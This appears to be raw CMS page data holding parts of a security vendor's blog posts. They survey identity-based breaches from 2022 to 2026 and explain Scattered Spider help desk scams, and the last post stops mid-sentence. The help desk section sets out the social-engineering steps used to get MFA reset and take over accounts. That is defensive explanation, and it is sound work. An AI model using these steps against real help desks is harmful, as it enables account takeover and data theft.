(2022)",{"data":53179,"content":53180,"nodeType":866},{},[53181],{"data":53182,"marks":53183,"value":53184,"nodeType":865},{},[],"Attackers used stolen credentials to steal 1TB of data from Nvidia’s internal shares, including a significant amount of sensitive information about the designs of Nvidia graphics cards, source code, and the usernames and passwords of more than 71,000 Nvidia employees.",{"data":53186,"content":53187,"nodeType":866},{},[53188],{"data":53189,"marks":53190,"value":53193,"nodeType":865},{},[53191,53192],{"type":926},{"type":943},"Microsoft (2022)",{"data":53195,"content":53196,"nodeType":866},{},[53197,53201,53209],{"data":53198,"marks":53199,"value":53200,"nodeType":865},{},[],"Attackers used stolen credentials combined with SIM swapping and ",{"data":53202,"content":53204,"nodeType":889},{"uri":53203},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/mfa_fatigue/description.md",[53205],{"data":53206,"marks":53207,"value":53208,"nodeType":865},{},[],"MFA fatigue",{"data":53210,"marks":53211,"value":53212,"nodeType":865},{},[]," attacks to steal Azure DevOps source code — leaked a 9GB archive of Microsoft source code – including ~90% of Bing and 45% of Cortana code. ",{"data":53214,"content":53215,"nodeType":866},{},[53216],{"data":53217,"marks":53218,"value":53221,"nodeType":865},{},[53219,53220],{"type":926},{"type":943},"T-Mobile (2022)",{"data":53223,"content":53224,"nodeType":866},{},[53225],{"data":53226,"marks":53227,"value":53228,"nodeType":865},{},[],"Attackers used stolen credentials to establish initial access, coupled with social engineering T-Mobile staff into approving the attacker’s device for VPN access. This resulted in source code being stolen from over 30,000 repositories. ",{"data":53230,"content":53231,"nodeType":866},{},[53232],{"data":53233,"marks":53234,"value":53237,"nodeType":865},{},[53235,53236],{"type":926},{"type":943},"Snowflake (165 customers) (2024)",{"data":53239,"content":53240,"nodeType":866},{},[53241,53245,53253,53257,53265],{"data":53242,"marks":53243,"value":53244,"nodeType":865},{},[],"Attackers targeted ",{"data":53246,"content":53247,"nodeType":889},{"uri":3488},[53248],{"data":53249,"marks":53250,"value":53252,"nodeType":865},{},[53251],{"type":943},"165 Snowflake customers",{"data":53254,"marks":53255,"value":53256,"nodeType":865},{},[]," using stolen credentials from credential breaches dating back as far as 2020. Due to widespread MFA gaps and the presence of ",{"data":53258,"content":53260,"nodeType":889},{"uri":53259},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/ghost_logins/description.md",[53261],{"data":53262,"marks":53263,"value":6715,"nodeType":865},{},[53264],{"type":943},{"data":53266,"marks":53267,"value":53268,"nodeType":865},{},[],", attackers were able to simply log in to individual customer tenants, dump the data, and use it to extort the companies. In total, 9 public victims were named following the breach, with over 1B breached customer records. ",{"data":53270,"content":53271,"nodeType":866},{},[53272],{"data":53273,"marks":53274,"value":53277,"nodeType":865},{},[53275,53276],{"type":926},{"type":943},"PowerSchool (2024)",{"data":53279,"content":53280,"nodeType":866},{},[53281],{"data":53282,"marks":53283,"value":53284,"nodeType":865},{},[],"Attackers gained access to a community-focused customer support portal, PowerSource, using compromised credentials and stole data using an \"export data manager\" customer support tool, stealing the data of 62.4 million students and 9.5 million teachers. PowerSchool paid an undisclosed ransom fee, but hackers returned later to extort schools and individuals separately anyway.",{"data":53286,"content":53287,"nodeType":866},{},[53288],{"data":53289,"marks":53290,"value":53293,"nodeType":865},{},[53291,53292],{"type":926},{"type":943},"Red Hat (2025)",{"data":53295,"content":53296,"nodeType":866},{},[53297,53301,53308],{"data":53298,"marks":53299,"value":53300,"nodeType":865},{},[],"Attackers breached Red Hat’s GitLab instance via a compromised account — the result of ",{"data":53302,"content":53303,"nodeType":889},{"uri":53259},[53304],{"data":53305,"marks":53306,"value":6715,"nodeType":865},{},[53307],{"type":943},{"data":53309,"marks":53310,"value":53311,"nodeType":865},{},[]," providing a backdoor to access an otherwise secure, SSO-connected account. Stolen data included approximately 800 Customer Engagement Reports (CERs), authentication tokens, full database URIs, and other private information in Red Hat code and CERs, which they claimed to use to gain access to downstream customer infrastructure. ",{"data":53313,"content":53317,"nodeType":912},{"target":53314},{"sys":53315},{"id":53316,"type":909,"linkType":910},"G1V7d5Dvevmr9p0YXElPX",[],{"data":53319,"content":53320,"nodeType":866},{},[53321],{"data":53322,"marks":53323,"value":53326,"nodeType":865},{},[53324,53325],{"type":926},{"type":943},"Discord (2025)",{"data":53328,"content":53329,"nodeType":866},{},[53330],{"data":53331,"marks":53332,"value":53333,"nodeType":865},{},[],"Attackers compromised a Zendesk customer support account, stealing 1.6TB of data. The hackers say this consisted of roughly 8.4 million tickets affecting 5.5 million unique users, and that about 580,000 users contained payment information.",{"data":53335,"content":53336,"nodeType":866},{},[53337],{"data":53338,"marks":53339,"value":53342,"nodeType":865},{},[53340,53341],{"type":926},{"type":943},"SoundCloud, MatchGroup, Crunchbase, Betterment... (2026)",{"data":53344,"content":53345,"nodeType":866},{},[53346,53350,53358,53361,53369,53373,53380],{"data":53347,"marks":53348,"value":53349,"nodeType":865},{},[],"Scattered Lapsus$ Hunters have already claimed several public victims in 2026, with over 60 million breached records. ",{"data":53351,"content":53353,"nodeType":889},{"uri":53352},"https://www.bleepingcomputer.com/news/security/shinyhunters-claim-to-be-behind-sso-account-data-theft-attacks/",[53354],{"data":53355,"marks":53356,"value":53357,"nodeType":865},{},[],"SoundCloud, Betterment, Crunchbase",{"data":53359,"marks":53360,"value":4988,"nodeType":865},{},[],{"data":53362,"content":53364,"nodeType":889},{"uri":53363},"https://www.bleepingcomputer.com/news/security/match-group-breach-exposes-data-from-hinge-tinder-okcupid-and-match/",[53365],{"data":53366,"marks":53367,"value":53368,"nodeType":865},{},[],"MatchGroup",{"data":53370,"marks":53371,"value":53372,"nodeType":865},{},[]," have all reported breaches this month, powered by a brand ",{"data":53374,"content":53375,"nodeType":889},{"uri":13013},[53376],{"data":53377,"marks":53378,"value":53379,"nodeType":865},{},[],"new real-time-operated AiTM phishing kit",{"data":53381,"marks":53382,"value":53383,"nodeType":865},{},[]," targeting Okta, Entra, and Google SSO accounts. This is a developing situation, with more victims expected to be announced publicly soon.",{"data":53385,"content":53386,"nodeType":972},{},[],{"data":53388,"content":53389,"nodeType":1317},{},[53390],{"data":53391,"marks":53392,"value":53394,"nodeType":865},{},[53393],{"type":926},"Vishing and help desk scams",{"data":53396,"content":53397,"nodeType":866},{},[53398],{"data":53399,"marks":53400,"value":53403,"nodeType":865},{},[53401,53402],{"type":926},{"type":943},"MGM Resorts & Caesars (2023)",{"data":53405,"content":53406,"nodeType":866},{},[53407,53411,53420],{"data":53408,"marks":53409,"value":53410,"nodeType":865},{},[],"MGM Resorts and Caesars were hit with twin breaches in 2023. Attackers socially engineered help desk personnel to take over accounts with Super Administrator privileges within MGM Resorts’ Okta tenant, which they then used to register a second, attacker-controlled IdP via ",{"data":53412,"content":53414,"nodeType":889},{"uri":53413},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/inbound_federation/description.md",[53415],{"data":53416,"marks":53417,"value":53419,"nodeType":865},{},[53418],{"type":943},"inbound federation",{"data":53421,"marks":53422,"value":53423,"nodeType":865},{},[]," — granting comprehensive access that was used to deploy ransomware. ",{"data":53425,"content":53426,"nodeType":866},{},[53427],{"data":53428,"marks":53429,"value":53432,"nodeType":865},{},[53430,53431],{"type":926},{"type":943},"Transport for London (2024)",{"data":53434,"content":53435,"nodeType":866},{},[53436],{"data":53437,"marks":53438,"value":53439,"nodeType":865},{},[],"Attackers socially engineered the Transport for London help desk to gain privileged access to the IT environment, resulting in prolonged disruption to key online services underpinning London’s public transport network, theft of 5,000 users bank details, and all 30,000 staff members having to reset their online credentials in person.",{"data":53441,"content":53442,"nodeType":866},{},[53443],{"data":53444,"marks":53445,"value":53448,"nodeType":865},{},[53446,53447],{"type":926},{"type":943},"Marks & Spencer (2025)",{"data":53450,"content":53451,"nodeType":866},{},[53452,53456,53465,53469,53478],{"data":53453,"marks":53454,"value":53455,"nodeType":865},{},[],"Attackers compromised a Microsoft Entra account belonging to a privileged user via a ",{"data":53457,"content":53459,"nodeType":889},{"uri":53458},"https://pushsecurity.com/blog/scattered-spider-defending-against-help-desk-scams/",[53460],{"data":53461,"marks":53462,"value":53464,"nodeType":865},{},[53463],{"type":943},"help desk scam",{"data":53466,"marks":53467,"value":53468,"nodeType":865},{},[],", which enabled them to steal sensitive data from cloud environments, as well as pivot to deploy ransomware via the ",{"data":53470,"content":53472,"nodeType":889},{"uri":53471},"https://cloud.google.com/blog/topics/threat-intelligence/vsphere-active-directory-integration-risks",[53473],{"data":53474,"marks":53475,"value":53477,"nodeType":865},{},[53476],{"type":943},"VMware admin console",{"data":53479,"marks":53480,"value":53481,"nodeType":865},{},[],". This enabled ransomware to be deployed at the hypervisor layer, evading host-based protections like EDR. ",{"data":53483,"content":53487,"nodeType":912},{"target":53484},{"sys":53485},{"id":53486,"type":909,"linkType":910},"7hBdHG74NaA3bQfOMpYA9o",[],{"data":53489,"content":53490,"nodeType":866},{},[53491],{"data":53492,"marks":53493,"value":53496,"nodeType":865},{},[53494,53495],{"type":926},{"type":943},"Jaguar Land Rover (2025)",{"data":53498,"content":53499,"nodeType":866},{},[53500],{"data":53501,"marks":53502,"value":53503,"nodeType":865},{},[],"Attackers compromised highly privileged admin accounts via a help desk scam, which they leveraged to access and deploy ransomware to all aspects of Jaguar’s business, from CAD and engineering software, to payments tracking, to customer car delivery, using similar techniques to the Marks & Spencer breach. ",{"data":53505,"content":53509,"nodeType":912},{"target":53506},{"sys":53507},{"id":53508,"type":909,"linkType":910},"6s1X2fo4K9EeVLBmHm4YXb",[],{"data":53511,"content":53512,"nodeType":972},{},[],{"data":53514,"content":53515,"nodeType":1317},{},[53516],{"data":53517,"marks":53518,"value":694,"nodeType":865},{},[53519],{"type":926},{"data":53521,"content":53522,"nodeType":866},{},[53523],{"data":53524,"marks":53525,"value":53528,"nodeType":865},{},[53526,53527],{"type":926},{"type":943},"Salesforce & Salesloft (1000+ customers) (2025)",{"data":53530,"content":53531,"nodeType":866},{},[53532],{"data":53533,"marks":53534,"value":53535,"nodeType":865},{},[],"A vast campaign against Salesforce customers resulted in the compromise of 1000+ Salesforce tenants (according to the attacker) with more than 1.5 billion records stolen. This campaign can consisted of three phases:",{"data":53537,"content":53538,"nodeType":1616},{},[53539,53554,53569],{"data":53540,"content":53541,"nodeType":1570},{},[53542],{"data":53543,"content":53544,"nodeType":866},{},[53545,53550],{"data":53546,"marks":53547,"value":53549,"nodeType":865},{},[53548],{"type":926},"Phase 1:",{"data":53551,"marks":53552,"value":53553,"nodeType":865},{},[]," The attacker conducted a large-scale vishing campaign against Salesforce customers, calling up users and socially engineering them into connecting a malicious version of the “Data Loader” app into their tenant. This was in fact an attacker-controlled app that enabled data to be mass-exfiltrated via API. ",{"data":53555,"content":53556,"nodeType":1570},{},[53557],{"data":53558,"content":53559,"nodeType":866},{},[53560,53565],{"data":53561,"marks":53562,"value":53564,"nodeType":865},{},[53563],{"type":926},"Phase 2: ",{"data":53566,"marks":53567,"value":53568,"nodeType":865},{},[],"The attacker conducted a supply-chain compromise against customers of Salesloft. Users of Salesloft’s “Drift” integration were impacted by attackers stealing access tokens from Salesloft’s AWS environment. This integration allowed the attacker to steal data from customers that had deployed Drift to connected environments — namely, Salesforce, and Google Workspace. ",{"data":53570,"content":53571,"nodeType":1570},{},[53572],{"data":53573,"content":53574,"nodeType":866},{},[53575,53580,53584,53591],{"data":53576,"marks":53577,"value":53579,"nodeType":865},{},[53578],{"type":926},"Phase 3:",{"data":53581,"marks":53582,"value":53583,"nodeType":865},{},[]," The attacker then conducted a separate supply-chain compromise involving Gainsight (allegedly using OAuth tokens stolen in the Salesloft attack) which enabled them to ",{"data":53585,"content":53586,"nodeType":889},{"uri":40710},[53587],{"data":53588,"marks":53589,"value":53590,"nodeType":865},{},[],"breach a further 285 Salesforce instances",{"data":53592,"marks":53593,"value":53594,"nodeType":865},{},[]," using stolen OAuth tokens from Gainsight's integrations. ",{"data":53596,"content":53600,"nodeType":912},{"target":53597},{"sys":53598},{"id":53599,"type":909,"linkType":910},"3TwjpVKQ42SwQRhvGFbZdn",[],{"data":53602,"content":53603,"nodeType":972},{},[],{"data":53605,"content":53606,"nodeType":1317},{},[53607],{"data":53608,"marks":53609,"value":699,"nodeType":865},{},[53610],{"type":926},{"data":53612,"content":53613,"nodeType":866},{},[53614],{"data":53615,"marks":53616,"value":53619,"nodeType":865},{},[53617,53618],{"type":926},{"type":943},"CyberHaven (2024)",{"data":53621,"content":53622,"nodeType":866},{},[53623],{"data":53624,"marks":53625,"value":53626,"nodeType":865},{},[],"Hackers phished a CyberHaven extension developer and uploaded a malicious version of the CyberHaven extension to the Chrome Web Store, leading to customer data breaches where installed in user browsers, impacting CyberHaven’s estimated ~400 business customers. This was part of a broader campaign that targeted 35 Chrome extensions, collectively impacting over 2.5 million users.",{"data":53628,"content":53632,"nodeType":912},{"target":53629},{"sys":53630},{"id":53631,"type":909,"linkType":910},"4ErDI0xi0Vj2Zrk8Qsb2NB",[],{"data":53634,"content":53635,"nodeType":972},{},[],{"data":53637,"content":53638,"nodeType":981},{},[53639],{"data":53640,"marks":53641,"value":14026,"nodeType":865},{},[53642],{"type":926},{"data":53644,"content":53645,"nodeType":866},{},[53646],{"data":53647,"marks":53648,"value":53649,"nodeType":865},{},[],"Scattered Lapsus$ Hunters are dominating the headlines right now, but they aren’t the only attackers using these modern techniques and consciously evading established security controls. ",{"data":53651,"content":53652,"nodeType":866},{},[53653],{"data":53654,"marks":53655,"value":53656,"nodeType":865},{},[],"Threat reports agree that attackers are steering away from traditional exploit and malware-driven breaches towards identities:",{"data":53658,"content":53659,"nodeType":1616},{},[53660,53682,53704],{"data":53661,"content":53662,"nodeType":1570},{},[53663],{"data":53664,"content":53665,"nodeType":866},{},[53666,53670,53678],{"data":53667,"marks":53668,"value":53669,"nodeType":865},{},[],"Identity-based attacks surged 32% in the last year, while 97% of identity attacks are password-based, driven by credential leaks and infostealer malware. (",{"data":53671,"content":53673,"nodeType":889},{"uri":53672},"https://cdn-dynmedia-1.microsoft.com/is/content/microsoftcorp/microsoft/msc/documents/presentations/CSR/Microsoft-Digital-Defense-Report-2025.pdf#page=1",[53674],{"data":53675,"marks":53676,"value":8641,"nodeType":865},{},[53677],{"type":943},{"data":53679,"marks":53680,"value":53681,"nodeType":865},{},[],")",{"data":53683,"content":53684,"nodeType":1570},{},[53685],{"data":53686,"content":53687,"nodeType":866},{},[53688,53692,53701],{"data":53689,"marks":53690,"value":53691,"nodeType":865},{},[],"79% of detections were malware-free in the last year, up from 40% in 2019. (",{"data":53693,"content":53695,"nodeType":889},{"uri":53694},"https://www.crowdstrike.com/en-gb/global-threat-report/",[53696],{"data":53697,"marks":53698,"value":53700,"nodeType":865},{},[53699],{"type":943},"CrowdStrike",{"data":53702,"marks":53703,"value":53681,"nodeType":865},{},[],{"data":53705,"content":53706,"nodeType":1570},{},[53707],{"data":53708,"content":53709,"nodeType":866},{},[53710,53714,53722],{"data":53711,"marks":53712,"value":53713,"nodeType":865},{},[],"Credential abuse and phishing combined accounted for 38% of breaches, making identity the primary breach vector observed. (",{"data":53715,"content":53716,"nodeType":889},{"uri":1063},[53717],{"data":53718,"marks":53719,"value":53721,"nodeType":865},{},[53720],{"type":943},"Verizon",{"data":53723,"marks":53724,"value":53681,"nodeType":865},{},[],{"data":53726,"content":53727,"nodeType":866},{},[53728],{"data":53729,"marks":53730,"value":53731,"nodeType":865},{},[],"And other public breaches from this year alone demonstrate similar TTPs from outside of the Scattered Lapsus$ Hunters orbit:",{"data":53733,"content":53734,"nodeType":1616},{},[53735,53750,53765,53780],{"data":53736,"content":53737,"nodeType":1570},{},[53738],{"data":53739,"content":53740,"nodeType":866},{},[53741,53746],{"data":53742,"marks":53743,"value":53745,"nodeType":865},{},[53744],{"type":926},"Nikkei",{"data":53747,"marks":53748,"value":53749,"nodeType":865},{},[],": Japanese publishing giant Nikkei’s Slack messaging platform was compromised using stolen credentials, leaking the names, email addresses, and chat histories for 17,368 individuals registered on Slack.",{"data":53751,"content":53752,"nodeType":1570},{},[53753],{"data":53754,"content":53755,"nodeType":866},{},[53756,53761],{"data":53757,"marks":53758,"value":53760,"nodeType":865},{},[53759],{"type":926},"Evertec",{"data":53762,"marks":53763,"value":53764,"nodeType":865},{},[],": Hackers tried to steal $130 million from Evertec’s Brazilian subsidiary Sinqia S.A.after gaining unauthorized access to its environment on the central bank’s real-time payment system (Pix) using stolen credentials.",{"data":53766,"content":53767,"nodeType":1570},{},[53768],{"data":53769,"content":53770,"nodeType":866},{},[53771,53776],{"data":53772,"marks":53773,"value":53775,"nodeType":865},{},[53774],{"type":926},"Hy-Vee:",{"data":53777,"marks":53778,"value":53779,"nodeType":865},{},[]," Was hit with a data breach after hackers logged in with stolen credentials, exposing 53GB of sensitive data.",{"data":53781,"content":53782,"nodeType":1570},{},[53783],{"data":53784,"content":53785,"nodeType":866},{},[53786,53791],{"data":53787,"marks":53788,"value":53790,"nodeType":865},{},[53789],{"type":926},"Scania: ",{"data":53792,"marks":53793,"value":53794,"nodeType":865},{},[],"Automotive giant Scania confirmed it suffered a cybersecurity incident where threat actors used compromised credentials to breach its Financial Services systems and steal insurance claim documents.",{"data":53796,"content":53797,"nodeType":866},{},[53798],{"data":53799,"marks":53800,"value":53801,"nodeType":865},{},[],"Scattered Lapsus$ Hunters may be grabbing the headlines — but this a huge movement in a vast and flexible community of attackers. And criminals around the world are learning from their success. ",{"data":53803,"content":53804,"nodeType":972},{},[],{"data":53806,"content":53807,"nodeType":981},{},[53808],{"data":53809,"marks":53810,"value":53812,"nodeType":865},{},[53811],{"type":926},"Lessons learned",{"data":53814,"content":53815,"nodeType":866},{},[53816],{"data":53817,"marks":53818,"value":53819,"nodeType":865},{},[],"The common thread with all of these attacks is that they are evading established security controls by targeting applications directly, over the internet, via account takeover.",{"data":53821,"content":53822,"nodeType":866},{},[53823],{"data":53824,"marks":53825,"value":53826,"nodeType":865},{},[],"Clearly, the success of these attacks shows the limitations of multiple control layers. Endpoint and network layer controls have no visibility of this attack surface. Identity-focused controls are being undermined by ghost logins and shadow IT. And the limitations of cloud security controls in their ability to encompass all apps, and detect and stop malicious actions in real-time (that often blend in seamlessly with normal user activity). ",{"data":53828,"content":53832,"nodeType":912},{"target":53829},{"sys":53830},{"id":53831,"type":909,"linkType":910},"4Dg3fZEGf7ShyQJ8jlNDME",[],{"data":53834,"content":53835,"nodeType":972},{},[],{"data":53837,"content":53838,"nodeType":981},{},[53839],{"data":53840,"marks":53841,"value":6331,"nodeType":865},{},[53842],{"type":926},{"data":53844,"content":53845,"nodeType":866},{},[53846],{"data":53847,"marks":53848,"value":53849,"nodeType":865},{},[],"Stopping attacks that are designed to evade established controls is in our DNA — it’s the reason Push was founded. ",{"data":53851,"content":53852,"nodeType":866},{},[53853],{"data":53854,"marks":53855,"value":53856,"nodeType":865},{},[],"The browser is the gateway to to the apps and identities that attackers are now targeting, with many attacks taking place inside the user’s browser — whether that’s entering credentials onto a phishing page, approving a malicious OAuth grant, installing a risky browser extension, or insecurely accessing an app with a weak password and no MFA. ",{"data":53858,"content":53859,"nodeType":866},{},[53860],{"data":53861,"marks":53862,"value":53863,"nodeType":865},{},[],"Push’s browser-based security platform provides comprehensive detection and response capabilities against attacks like AiTM phishing, credential stuffing, malicious browser extensions, malicious OAuth grants, ClickFix, and session hijacking. You don’t need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your attack surface.",{"data":53865,"content":53866,"nodeType":866},{},[53867,53870,53877,53881,53888],{"data":53868,"marks":53869,"value":11372,"nodeType":865},{},[],{"data":53871,"content":53872,"nodeType":889},{"uri":11375},[53873],{"data":53874,"marks":53875,"value":11381,"nodeType":865},{},[53876],{"type":943},{"data":53878,"marks":53879,"value":53880,"nodeType":865},{},[]," or ",{"data":53882,"content":53883,"nodeType":889},{"uri":1372},[53884],{"data":53885,"marks":53886,"value":11405,"nodeType":865},{},[53887],{"type":943},{"data":53889,"marks":53890,"value":1615,"nodeType":865},{},[],"\"Scattered Lapsus$ Hunters\" — how modern attackers exploit the gaps in your security stack ","How Scattered Lapsus$ Hunters breaches demonstrate the evolution of attacker TTPs, shaping the future of cyber attacks.","2025-11-13T00:00:00.000Z","scattered-lapsus-hunters",{"items":53896},[53897,53899],{"sys":53898,"name":7796},{"id":7795},{"sys":53900,"name":342},{"id":4642},{"items":53902},[53903],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":53904},{"url":7804},{"__typename":1429,"sys":53906,"content":53908,"title":54533,"synopsis":54534,"hashTags":59,"publishedDate":54535,"slug":54536,"tagsCollection":54537,"authorsCollection":54543},{"id":53907},"3ExexM6DB2QBOQrtbMrXnN",{"json":53909},{"data":53910,"content":53911,"nodeType":1382},{},[53912,53918,53950,54042,54119,54126,54129,54136,54143,54150,54166,54173,54180,54183,54190,54197,54204,54237,54244,54267,54274,54277,54284,54291,54310,54397,54404,54410,54413,54420,54427,54434,54440,54461,54467,54474,54477,54484,54504,54521,54527],{"data":53913,"content":53917,"nodeType":912},{"target":53914},{"sys":53915},{"id":53916,"type":909,"linkType":910},"6BjaSruVecmhn1NoHreRni",[],{"data":53919,"content":53920,"nodeType":866},{},[53921,53925,53934,53937,53946],{"data":53922,"marks":53923,"value":53924,"nodeType":865},{},[],"Scattered Spider have been busy. Major breaches of UK retailers ",{"data":53926,"content":53928,"nodeType":889},{"uri":53927},"https://www.bleepingcomputer.com/news/security/mands-says-customer-data-stolen-in-cyberattack-forces-password-resets/",[53929],{"data":53930,"marks":53931,"value":53933,"nodeType":865},{},[53932],{"type":943},"Marks and Spencer",{"data":53935,"marks":53936,"value":4988,"nodeType":865},{},[],{"data":53938,"content":53940,"nodeType":889},{"uri":53939},"https://www.bleepingcomputer.com/news/security/co-op-confirms-data-theft-after-dragonforce-ransomware-claims-attack/",[53941],{"data":53942,"marks":53943,"value":53945,"nodeType":865},{},[53944],{"type":943},"Co-op",{"data":53947,"marks":53948,"value":53949,"nodeType":865},{},[]," resulted in the loss of sensitive data and prolonged disruption to in-store and digital services, with M&S feeling the pain of £300m in lost profits and a share value hit approaching £1b, and a multimillion-pound class action lawsuit and possible ICO fines looming.",{"data":53951,"content":53952,"nodeType":866},{},[53953,53957,53966,53969,53978,53981,53990,53993,54002,54005,54014,54017,54026,54029,54038],{"data":53954,"marks":53955,"value":53956,"nodeType":865},{},[],"A series of attacks against retailers worldwide soon followed, at an unprecedented rate. ",{"data":53958,"content":53960,"nodeType":889},{"uri":53959},"https://www.bleepingcomputer.com/news/security/fashion-giant-dior-discloses-cyberattack-warns-of-data-breach/",[53961],{"data":53962,"marks":53963,"value":53965,"nodeType":865},{},[53964],{"type":943},"Dior",{"data":53967,"marks":53968,"value":2717,"nodeType":865},{},[],{"data":53970,"content":53972,"nodeType":889},{"uri":53971},"https://www.bleepingcomputer.com/news/security/the-north-face-warns-customers-of-april-credential-stuffing-attack/",[53973],{"data":53974,"marks":53975,"value":53977,"nodeType":865},{},[53976],{"type":943},"The North Face",{"data":53979,"marks":53980,"value":2717,"nodeType":865},{},[],{"data":53982,"content":53984,"nodeType":889},{"uri":53983},"https://www.bleepingcomputer.com/news/security/cartier-discloses-data-breach-amid-fashion-brand-cyberattacks/",[53985],{"data":53986,"marks":53987,"value":53989,"nodeType":865},{},[53988],{"type":943},"Cartier",{"data":53991,"marks":53992,"value":2717,"nodeType":865},{},[],{"data":53994,"content":53996,"nodeType":889},{"uri":53995},"https://www.bleepingcomputer.com/news/security/victorias-secret-delays-earnings-release-after-security-incident/",[53997],{"data":53998,"marks":53999,"value":54001,"nodeType":865},{},[54000],{"type":943},"Victoria’s Secret",{"data":54003,"marks":54004,"value":2717,"nodeType":865},{},[],{"data":54006,"content":54008,"nodeType":889},{"uri":54007},"https://www.bleepingcomputer.com/news/security/adidas-warns-of-data-breach-after-customer-service-provider-hack/",[54009],{"data":54010,"marks":54011,"value":54013,"nodeType":865},{},[54012],{"type":943},"Adidas",{"data":54015,"marks":54016,"value":2717,"nodeType":865},{},[],{"data":54018,"content":54020,"nodeType":889},{"uri":54019},"https://www.scworld.com/brief/separate-ransomware-attacks-purportedly-hit-coca-cola-bottling-partner",[54021],{"data":54022,"marks":54023,"value":54025,"nodeType":865},{},[54024],{"type":943},"Coca-Cola",{"data":54027,"marks":54028,"value":3476,"nodeType":865},{},[],{"data":54030,"content":54032,"nodeType":889},{"uri":54031},"https://www.bleepingcomputer.com/news/security/grocery-wholesale-giant-united-natural-foods-hit-by-cyberattack/",[54033],{"data":54034,"marks":54035,"value":54037,"nodeType":865},{},[54036],{"type":943},"United Natural Foods",{"data":54039,"marks":54040,"value":54041,"nodeType":865},{},[]," were among the retailers to suffer a breach between May-June 2025. ",{"data":54043,"content":54044,"nodeType":866},{},[54045,54049,54058,54061,54070,54074,54083,54087,54095,54098,54106,54109,54116],{"data":54046,"marks":54047,"value":54048,"nodeType":865},{},[],"The latest news links the hackers to attacks on ",{"data":54050,"content":54052,"nodeType":889},{"uri":54051},"https://www.bleepingcomputer.com/news/security/aflac-discloses-breach-amidst-scattered-spider-insurance-attacks/",[54053],{"data":54054,"marks":54055,"value":54057,"nodeType":865},{},[54056],{"type":943},"Aflac",{"data":54059,"marks":54060,"value":2717,"nodeType":865},{},[],{"data":54062,"content":54064,"nodeType":889},{"uri":54063},"https://www.bleepingcomputer.com/news/security/google-warns-scattered-spider-hackers-now-target-us-insurance-companies/",[54065],{"data":54066,"marks":54067,"value":54069,"nodeType":865},{},[54068],{"type":943},"Philadelphia Insurance Companies",{"data":54071,"marks":54072,"value":54073,"nodeType":865},{},[],",  ",{"data":54075,"content":54077,"nodeType":889},{"uri":54076},"https://www.bleepingcomputer.com/news/security/erie-insurance-confirms-cyberattack-behind-business-disruptions/amp/",[54078],{"data":54079,"marks":54080,"value":54082,"nodeType":865},{},[54081],{"type":943},"Erie Insurance",{"data":54084,"marks":54085,"value":54086,"nodeType":865},{},[],", and most recently ",{"data":54088,"content":54090,"nodeType":889},{"uri":54089},"https://www.bleepingcomputer.com/news/security/qantas-is-being-extorted-in-recent-data-theft-cyberattack/",[54091],{"data":54092,"marks":54093,"value":54094,"nodeType":865},{},[],"Qantas",{"data":54096,"marks":54097,"value":2717,"nodeType":865},{},[],{"data":54099,"content":54101,"nodeType":889},{"uri":54100},"https://www.bleepingcomputer.com/news/security/scattered-spider-hackers-shift-focus-to-aviation-transportation-firms/",[54102],{"data":54103,"marks":54104,"value":54105,"nodeType":865},{},[],"Hawaiian Airlines",{"data":54107,"marks":54108,"value":4988,"nodeType":865},{},[],{"data":54110,"content":54111,"nodeType":889},{"uri":54100},[54112],{"data":54113,"marks":54114,"value":54115,"nodeType":865},{},[],"WestJet",{"data":54117,"marks":54118,"value":6719,"nodeType":865},{},[],{"data":54120,"content":54121,"nodeType":866},{},[54122],{"data":54123,"marks":54124,"value":54125,"nodeType":865},{},[],"The top story from recent campaigns is the use of help desk scams. This typically involves the attacker calling up a company’s help desk with some level of information — at minimum, PII that allows them to impersonate their victim, and sometimes a password, leaning heavily on their native English-speaking abilities to trick the help desk operator into giving them access to a user account. ",{"data":54127,"content":54128,"nodeType":972},{},[],{"data":54130,"content":54131,"nodeType":981},{},[54132],{"data":54133,"marks":54134,"value":54135,"nodeType":865},{},[],"Help desk scams 101",{"data":54137,"content":54138,"nodeType":866},{},[54139],{"data":54140,"marks":54141,"value":54142,"nodeType":865},{},[],"The goal of a help desk scam is to get the help desk operator to reset the credentials and/or MFA used to access an account so the attacker can take control of it. They’ll use a variety of backstories and tactics to get that done, but most of the time it’s as simple as saying “I’ve got a new phone, can you remove my existing MFA and allow me to enroll a new one?”",{"data":54144,"content":54145,"nodeType":866},{},[54146],{"data":54147,"marks":54148,"value":54149,"nodeType":865},{},[],"From there, the attacker is then sent an MFA reset link via email or SMS. Usually, this would be sent to, for example, a number on file — but at this point, the attacker has already established trust and bypassed the help desk process to a degree. So asking “can you send it to this email address” or “I’ve actually got a new number too, can you send it to…” gets this sent directly to the attacker. ",{"data":54151,"content":54152,"nodeType":866},{},[54153,54157,54162],{"data":54154,"marks":54155,"value":54156,"nodeType":865},{},[],"At this point, it’s simply a case of using the self service password reset functionality for Okta or Entra (which you can get around because you now have the MFA factor to verify yourself) and ",{"data":54158,"marks":54159,"value":54161,"nodeType":865},{},[54160],{"type":898},"voila",{"data":54163,"marks":54164,"value":54165,"nodeType":865},{},[],", the attacker has taken control of the account. ",{"data":54167,"content":54168,"nodeType":866},{},[54169],{"data":54170,"marks":54171,"value":54172,"nodeType":865},{},[],"And the best part? Most help desks have the same process for every account — it doesn’t matter who you’re impersonating or which account you’re trying to reset. So, attackers are specifically targeting accounts likely to have top tier admin privileges — meaning once they get in, progressing the attack is trivial and much of the typical privilege escalation and lateral movement is removed from the attack path. ",{"data":54174,"content":54175,"nodeType":866},{},[54176],{"data":54177,"marks":54178,"value":54179,"nodeType":865},{},[],"So, help desk scams have proved to be a reliable way of bypassing MFA and achieving account takeover — the foothold from which to launch the rest of an attack, such as stealing data, deploying ransomware, etc. ",{"data":54181,"content":54182,"nodeType":972},{},[],{"data":54184,"content":54185,"nodeType":981},{},[54186],{"data":54187,"marks":54188,"value":54189,"nodeType":865},{},[],"Avoiding help desk gotchas",{"data":54191,"content":54192,"nodeType":866},{},[54193],{"data":54194,"marks":54195,"value":54196,"nodeType":865},{},[],"There’s lots of advice for securing help desks being circulated, but much of the advice still results in a process that is either phishable or difficult to implement. ",{"data":54198,"content":54199,"nodeType":866},{},[54200],{"data":54201,"marks":54202,"value":54203,"nodeType":865},{},[],"Ultimately, organizations need to be prepared to introduce friction to their help desk process and either delay or deny requests in situations where there’s significant risk. So, for example, having a process for MFA 